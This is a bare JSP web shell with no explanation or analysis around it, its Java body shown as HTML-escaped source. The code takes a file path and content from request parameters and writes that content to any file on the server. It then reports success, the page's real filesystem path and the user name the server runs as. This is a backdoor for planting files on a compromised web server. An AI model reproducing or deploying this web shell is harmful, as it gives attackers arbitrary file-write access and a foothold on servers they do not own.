<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%>    
<p> &lt;% String damapath=request.getParameter(&quot;path&quot;);%&gt; &lt;% String content=request.getParameter(&quot;content&quot;);%&gt; &lt;% String url=request.getRequestURI(); %&gt; &lt;% String realPath=request.getRealPath(request.getServletPath()); %&gt; &lt;% if (damapath!=null &amp;&amp;!damapath.equals(&quot;&quot;)&amp;&amp;content!=null&amp;&amp;!content.equals(&quot;&quot;)){ try{ File damafile=new File(damapath); PrintWriter pw=new PrintWriter(damafile); pw.println(content); pw.close(); if(damafile.exists()&amp;&amp; damafile.length()&gt;0){ out.println(&quot;&quot;+damapath+&quot;&quot;); out.println(&quot;save success!&quot;); }else{ out.println(&quot;&quot;+damapath+&quot;&quot;); out.println(&quot;save fail!&quot;); } }catch(Exception e){ out.println(&quot;save fail!&quot;); } } %&gt; </p>          The File Path: &lt;%=realPath %&gt; 
<br />      Target File Path: &lt;% out.println(&quot;&quot;);%&gt;     Target File Content: &lt;% out.println(&quot;&quot;);%&gt; Whoami:&lt;% out.println(System.getProperty(&quot;user.name&quot;));%&gt;     &lt;% out.println( &quot;&quot; );%&gt;